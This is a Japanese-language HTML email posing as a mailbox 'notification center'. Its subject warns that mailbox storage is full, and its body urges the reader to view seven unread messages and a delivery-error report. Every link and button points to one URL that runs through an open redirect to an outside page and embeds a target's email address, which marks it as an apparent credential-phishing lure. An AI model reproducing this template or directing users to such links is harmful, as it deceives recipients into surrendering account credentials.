【至急対応】メールボックスの容量が上限に達しました – メール受信に影響が出ていま す
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>通知センター - 新しいお知らせ</title>
<style>
body {
margin: 0;
padding: 0;
background-color: #f2f1ed;
font-family: "Noto Sans JP", "Hiragino Kaku Gothic ProN", sans-serif;
color: #2e2e2e;
}
.zen-container {
max-width: 720px;
margin: 60px auto;
background: #fff;
border-radius: 20px;
padding: 40px;
box-shadow: 12px 12px 24px #d4d4d4, -12px -12px 24px #ffffff;
position: relative;
}
.zen-header {
text-align: center;
margin-bottom: 40px;
}
.zen-header h1 {
font-size: 26px;
font-family: 'Sawarabi Mincho', serif;
letter-spacing: 1px;
position: relative;
}
.zen-header h1::after {
content: '';
width: 60px;
height: 4px;
background-color: #b7282e;
display: block;
margin: 12px auto 0;
border-radius: 2px;
}
.zen-section {
margin-bottom: 36px;
}
.zen-section h2 {
font-size: 18px;
margin-bottom: 12px;
color: #b7282e;
font-family: 'Sawarabi Mincho', serif;
border-left: 6px solid #b7282e;
padding-left: 10px;
}
.zen-section p {
font-size: 15px;
line-height: 1.8;
}
.zen-section a {
color: #00467f;
text-decoration: none;
font-weight: bold;
transition: color 0.3s ease;
}
.zen-section a:hover {
color: #b7282e;
}
.zen-buttons {
display: flex;
justify-content: center;
gap: 20px;
margin-top: 30px;
}
.zen-buttons a {
text-decoration: none;
padding: 14px 24px;
border-radius: 8px;
font-weight: bold;
background: linear-gradient(145deg, #e0dfdb, #fff);
box-shadow: 4px 4px 10px #d1d1d1, -4px -4px 10px #fff;
transition: all 0.25s ease;
color: #2e2e2e;
}
.zen-buttons a:hover {
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.1);
background: #f5f4f2;
}
.zen-footer {
margin-top: 50px;
text-align: center;
font-size: 13px;
color: #888;
}
.zen-footer a {
color: #0066aa;
text-decoration: none;
}
.zen-footer img {
width: 100px;
margin-top: 18px;
opacity: 0.7;
}
</style>
</head>
<body>
<div class="zen-container">
<div class="zen-header">
<h1>通知センター</h1>
</div>
<div class="zen-section">
<h2>未読メッセージのお知らせ</h2>
<p>あなたのメールボックスに <strong>7通の未読メッセージ</strong> が届いています。大切な内容が含まれている可能性がありますので、できるだけ早くご確認ください。</p>
<p><a href="http://archivo.lavoz.com.ar/frame.asp?url=http%3A%2F%2Fbqbq.de/gjgkhfiy/index.html?uid=koshin03@huat.jp">→ メッセージを確認する</a></p>
</div>
<div class="zen-section">
<h2>配信エラーのご案内</h2>
<p>一部の送信メールがサーバーエラーにより配信されませんでした。詳細は以下のレポートをご覧ください。</p>
<p><a href="http://archivo.lavoz.com.ar/frame.asp?url=http%3A%2F%2Fbqbq.de/gjgkhfiy/index.html?uid=koshin03@huat.jp">→ 配信レポートを見る</a></p>
</div>
<div class="zen-buttons">
<a href="http://archivo.lavoz.com.ar/frame.asp?url=http%3A%2F%2Fbqbq.de/gjgkhfiy/index.html?uid=koshin03@huat.jp">今すぐ確認</a>
<a href="http://archivo.lavoz.com.ar/frame.asp?url=http%3A%2F%2Fbqbq.de/gjgkhfiy/index.html?uid=koshin03@huat.jp">レポートをDL</a>
</div>
<div class="zen-footer">
<p>その他ご不明点は、<a href="http://archivo.lavoz.com.ar/frame.asp?url=http%3A%2F%2Fbqbq.de/gjgkhfiy/index.html?uid=koshin03@huat.jp">サポートセンター</a>までお問い合わせください。</p>
<img src="https://example.com/logo.png" alt="ロゴ">
</div>
</div>
</body>
</html>